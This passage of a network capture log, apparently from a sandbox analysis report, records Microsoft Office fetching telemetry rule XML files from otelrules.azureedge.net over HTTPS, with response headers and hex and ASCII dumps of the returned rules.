EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.11	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:02 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:02 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: cd880ea1-701e-0098-43c5-49395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055002Z-r1cf579d778t76vqhC1EWRdx4w00000001e000000000516c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:02 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.11	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:02 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:02 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: d1a1fe13-d01e-00a1-653f-4935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055002Z-r1cf579d7789jf56hC1EWRu58800000002p0000000002zvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:02 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.11	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:03 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:03 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 5dd53741-b01e-0053-4993-49cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055003Z-r1cf579d778pftsbhC1EWRa0gn00000002300000000021eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:03 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.11	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:04 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:04 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055004Z-r1cf579d778bb9vvhC1EWRs9540000000760000000000zkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:04 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.11	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:04 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:04 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055004Z-r1cf579d778v97q7hC1EWRf95c0000000760000000002t5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:04 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.11	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:04 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055004Z-r1cf579d778lntp7hC1EWR9gg400000007200000000009z5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.11	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:04 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055004Z-r1cf579d778dndrdhC1EWR4b24000000075g000000002zf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:04 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.11	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:05 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:05 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055005Z-r1cf579d778dndrdhC1EWR4b24000000073g0000000054na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:05 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.11	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:06 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: e72a0d5d-201e-0003-017e-49f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055006Z-r1cf579d7782w22mhC1EWR2ebg00000002d00000000045gc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:06 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.11	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:06 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055006Z-r1cf579d778qgtz2hC1EWRmgks0000000770000000007cha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.11	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:06 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9d874cb7-b01e-0021-2326-49cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055006Z-r1cf579d778t6txphC1EWRsd4400000007yg000000004yew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.11	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:06 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:07 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 62be0662-301e-0020-193f-496299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055006Z-r1cf579d778mpnwnhC1EWRfgng00000001ag000000000r0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
